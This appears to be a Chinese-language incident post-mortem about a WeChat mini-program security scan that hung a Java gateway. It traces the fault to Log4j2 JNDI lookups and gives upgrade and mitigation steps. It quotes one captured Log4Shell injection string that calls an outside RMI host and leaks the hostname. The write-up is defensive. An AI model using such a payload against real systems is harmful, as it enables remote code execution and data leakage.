一、問題
近期生產在提交了微信小程序審覈後(後面會講到),總會出現一些生產告警,而且持續時間較長。我們查看一些工具和系統相關的,發現把我們的 gateway 差不多打死了。 有一些現象。
- 網關有很多接口處理慢。
- 網關健康檢查不通過,發生重啓。
前面我們提到是微信小程序審覈後,爲什麼我們覺得是和這個相關,因爲我們在相關的時間段的 Nginx
請求日誌種的 agent 字段看到了 Tencent Security Team, more information: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001
。我們可以看到小程序提交審覈後平臺將對提審的小程序進行安全檢測. 我們也找到對應的小程序負責人詢問,是當天那個時間段前10分鐘左右有提交小程序審覈。 而且這個小程序也是包含了這些掃描接口的。
我們在想是業務場景觸發的問題與這個掃描湊巧在一個時間段嗎? 因爲我們認爲這個檢查頻率不至於打垮我們的服務。我們決定在一個業務閒時,也就是低峯期的時候檢測一次(重新提交一次小程序提審)。 我們在提交完之後發現,掃描開始之後,我們的網關還是支撐不住了。頻繁的超時和健康檢查失敗。 網關服務有節點發生了重啓。 我們篤定跟微信的掃描是有關了。
二、解析過程
基本問題解析
我們在第二次掃描的時候,也做了一些準備。
- dump
jvm
的內存。 - dump
java
的線程棧。 - 關注
Nginx
和gateway
的日誌。
我們 dump
線程棧發現了一些內容,但是我們沒有引起注意。
內存 dump
的話,我們發下並沒有佔用太多內存,內存使用正常。
我們最後在 gateway
發現了一些日誌。
整個請求耗時50多s。
我們看到 gateway
打出這個請求的請求體是
{
"pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}",
"module": 1,
"pageSize": 20
}
這個 pageNum
的值看着就像注入的。然後我拿着這個值去搜索。
發現可能跟 log4j2
有關, 詢問開發目前我們使用的是 2.13.1
在log4j2漏洞公告中,我們發現 受影響的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0(2.3.2 和 2.12.4 版本不受影響)
該漏洞出現的時間是在 2021-12-29, 漏洞的詳情
Apache Log4j2 是一個基於Java的開源日誌記錄框架,該框架重寫了Log4j框架,是其前身Log4j 1.x 的重寫升級版,並且引入了大量豐富的特性,使用非常的廣泛。該框架被大量用於業務系統開發,用來記錄日誌信息。
據官方描述,擁有修改日誌配置文件權限的攻擊者,可以構造惡意的配置將 JDBC Appender 與引用 JNDI URI 的數據源一起使用,從而可通過該 JNDI URI 遠程執行任意代碼。
由於該漏洞要求攻擊者擁有修改配置文件權限(通常需藉助其他漏洞纔可實現),非默認配置存在的問題,漏洞成功利用難度較大。
log4j2 漏洞相關源碼解析
log4j2
在支持日誌打印的時候,支持了十幾種旁路策略,其中有一個就是jndi
,log4j
用 jndi
實現遠程調用並將結果進行日誌打印,底層採用了socket
進行連接,但是沒有設置超時時間,當日志中有多個${導致循環調用多次。所以上面日誌打印會重複2次 jndi
的操作,又因爲我們日誌打印配置了console
和 rollingFile
。所以會打印四次日誌。
gateway
採用 Netty
作爲底層容器,採用了Reactor
模式,有一個事件循環組負責監聽事件,事件到達後會丟給另一個事件循環組去處理讀寫,事件循環組內有多個事件循環器,每個事件循環器由一個線程去處理業務讀寫,因此打印上面日誌會阻塞住其中一個處理線程。從dump
出來的單個文件看是隻有一個處理線程被阻塞了。而當進行心跳健康判斷的時候,有一定機率會被分配給阻塞的線程,因此會放到隊列中一直等待線程處理,進而超時了 把 gateway
網關重啓了;
四、問題解決辦法
建議解決辦法
-
升級版本。
Apache Log4j 2.x >= 2.3.2 (Java 6) Apache Log4j 2.x >= 2.12.4 (Java 7) Apache Log4j 2.x >= 2.17.1 (Java 8 及更新版)
臨時解決版本
-
刪除
JndiLookup.class
類在 2.16.0 以外的任何版本中,您可以
JndiLookup
從類路徑中刪除該類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
。 -
配置環境變量
LOG4J_FORMAT_MSG_NO_LOOKUPS
爲true
(處理場景有限)java
opts
配置爲-Dlog4j2.formatMsgNoLookups=true
(處理場景有限)
解決後測試
配置完成之後
前者處理爲56秒,後者需要的時間爲354ms
. 是正常的響應時間。